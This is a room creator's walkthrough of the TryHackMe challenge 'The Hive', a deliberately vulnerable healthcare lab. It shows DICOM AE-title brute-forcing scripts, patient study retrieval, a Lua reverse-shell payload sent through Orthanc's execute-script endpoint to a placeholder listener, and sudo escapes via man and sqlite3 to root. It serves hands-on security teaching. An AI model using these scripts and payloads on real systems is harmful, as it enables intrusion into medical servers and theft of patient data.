The Hive - Tryhackme
Tuesday, August 9, 2022If you don’t know about tryhackme.com, it’s an online platform for learning cyber security hands-on. Multiple “rooms” are available to get better in cybersecurity. Usually, a room consists in a vulnerable system running in a virtual machine that you can access through a private ip. Your goal is to get flags hidden in the system by discovering and exploiting various vulnerabilities. Users can also propose their own rooms, it makes it quite fun to solve other people challenges and share knowledge!
I had already created a room about exploiting a kubernetes cluster some time ago, but recently I got inspired and created a new one about healthcare security - with a nice resident evil theme :-)
If you’re curious about how to solve this challenge, here’s a writeup:
Reconnaissance
To makes things a bit more convenient, edit your /etc/hosts
file, adding a hive.thm
entry to save your target IP:
x.x.x.x hive.thm
First things first, let’s portscan :
nmap -sV -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:24 CEST
NSE: Loaded 5 scripts for scanning.
Initiating Ping Scan at 01:24
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:24, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:24
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 22/tcp on x.x.x.x
Discovered open port 80/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:24, 0.90s elapsed (1000 total ports)
Initiating Service scan at 01:24
Scanning 4 services on hive.thm (x.x.x.x)
Completed Service scan at 01:24, 21.58s elapsed (4 services on 1 host)
NSE: Script scanning x.x.x.x
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:24
Completed NSE at 01:24, 0.00s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.067s latency).
Scanned at 2022-08-08 01:24:27 CEST for 23s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack SimpleHTTPServer 0.6 (Python 3.5.2)
4242/tcp open vrml-multi-use? syn-ack
8042/tcp open nagios-nsca syn-ack Nagios NSCA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On port 80, we get an assignment from the Red queen.
(I used kdenlive to make this video, took quite some time to learn it but it was a lot of fun 😂)
It contains a hint to find something that seems to be a password 😈
Then we get two other ports :
- 8042: another webserver
- 4242: a tcp endpoint
Let’s learn a bit more about the webserver:
curl -vvv -L http://hive.thm:8042/
* Trying x.x.x.x:8042...
* TCP_NODELAY set
* Connected to hive.thm (x.x.x.x) port 8042 (#0)
> GET / HTTP/1.1
> Host: hive.thm:8042
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Connection: keep-alive
< Keep-Alive: timeout=1
< WWW-Authenticate: Basic realm="Orthanc Secure Area"
< Content-Length: 0
<
* Connection #0 to host hive.thm left intact
So it appears to be an Orthanc server protected by HTTP basic auth.
It probably exposes a port for DICOM.
The following nmap script can help us learn more about it: https://nmap.org/nsedoc/scripts/dicom-ping.html
nmap --script=dicom-ping -T4 hive.thm -vv
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-08 01:51 CEST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.00s elapsed
Initiating Ping Scan at 01:51
Scanning hive.thm (x.x.x.x) [2 ports]
Completed Ping Scan at 01:51, 0.06s elapsed (1 total hosts)
Initiating Connect Scan at 01:51
Scanning hive.thm (x.x.x.x) [1000 ports]
Discovered open port 80/tcp on x.x.x.x
Discovered open port 22/tcp on x.x.x.x
Discovered open port 8042/tcp on x.x.x.x
Discovered open port 4242/tcp on x.x.x.x
Completed Connect Scan at 01:51, 0.99s elapsed (1000 total ports)
NSE: Script scanning 10.10.99.46.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:51
Completed NSE at 01:51, 0.12s elapsed
Nmap scan report for hive.thm (x.x.x.x)
Host is up, received syn-ack (0.075s latency).
Scanned at 2022-08-08 01:51:27 CEST for 1s
Not shown: 996 closed ports
Reason: 996 conn-refused
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
4242/tcp open dicom syn-ack
| dicom-ping:
| dicom: DICOM Service Provider discovered!
|_ config: Called AET check enabled
8042/tcp open fs-agent syn-ack
So port 4242 is indeed a DICOM endpoint.
We can also try to probe it using dcmtk, it’s a toolkit that contains many programs to work with DICOM, including the following echoscu.
echoscu hive.thm 4242
F: Association Rejected:
F: Result: Rejected Permanent, Source: Service User
F: Reason: Called AE Title Not Recognized
Bruteforcing
Both nmap
and echoscu
show that there is a check on the Called AET and we don’t know it.
So… let’s try to bruteforce it!
nmap proposes a script to bruteforce an AET but it was so slow for me that I decided to write my own program.
#!/bin/bash
while read p; do
echoscu -aec $p hive.thm 4242 > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo AET FOUND $p
break
else
echo invalid aet $p
fi
done < wordlists/rockyou.txt
Or if you prefer using python:
from pynetdicom import AE
from pynetdicom.sop_class import Verification
ae = AE(ae_title='local')
ae.add_requested_context(Verification)
orthanc_host = "hive.thm"
orthanc_port = 4242
with open('wordlists/rockyou.txt') as wordlist:
for line in wordlist:
assoc = ae.associate(orthanc_host, orthanc_port, ae_title=line.strip())
if assoc.is_established:
assoc.release()
print(f'AET FOUND: {line.strip()}')
break
else:
print(f'Invalid AET: {line.strip()}')
Using the rockyou wordlist, we manage to find the AET pretty quickly.
Using DICOM
Now that we know the called AET, we can start interacting with the DICOM server.
findscu
and getscu
from dcmtk can be used to do it, first by listing patients and then by downloading a patient’s study.
findscu -aec shadow -P -k "0008,0052=PATIENT" -k "0010,0020=" hive.thm 4242
getscu -aec shadow -k "0008,0052=PATIENT" -k "0010,0020=MARCUS" hive.thm 4242
But I think it’s much easier to do it with weasis.
In weasis, configure a DICOM node with the AE title found earlier:
Then search and import studies from the PACS in “DICOM Query/Retrieve”:
We can now look at the study, slices of a human skull. In one of the last slices, a password is visible.
(blurred here)
We can now log into orthanc using marcus account with the password we just found!
Remote code execution
Orthanc exposes a REST API that has a very insteresting endpoint.
Let’s try to get a shell.
Locally, run nc -l -p 4242
to listen for TCP traffic.
And send our reverse shell payload through the execute-script endpoint.
payload.lua:
local handle = io.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_LOCAL_IP 4242 >/tmp/f")
local result = handle:read("*a")
handle:close()
print(result)
curl -u marcus:xxxxxxxx http://hive.thm:8042/tools/execute-script -X POST -d @payload.lua
And it worked, we have a shell!
Privilege escalation
First, let’s stabilize the shell:
python3 -c "import pty; pty.spawn('/bin/bash')"
Who are we?
marcus@hive:/$ whoami
whoami
marcus
Looking into marcus home directory, we find the first flag!
What can we do?
marcus@hive:/$ sudo -l
sudo -l
Matching Defaults entries for marcus on hive.thm:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marcus may run the following commands on hive.thm:
(isaacs) NOPASSWD: /usr/bin/man
So we can execute the manual as another user and inside the manual we can get another shell:
$ sudo -u isaacs /usr/bin/man man
!/bin/sh
Did it work?
$ whoami
whoami
isaacs
It did!
What can we do now?
$ sudo -l
sudo -l
Matching Defaults entries for isaacs on hive.thm:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User isaacs may run the following commands on hive.thm:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/sqlite3
Executing sqlite3 as root. Let’s get another (again!) shell:
sudo sqlite3 /dev/null '.shell /bin/sh'
# whoami
whoami
root
And we’re root, final flag is in root’s home directory.
That’s it! I hope you enjoyed the challenge and that DICOM hasn’t been too painful if you just learnt about it!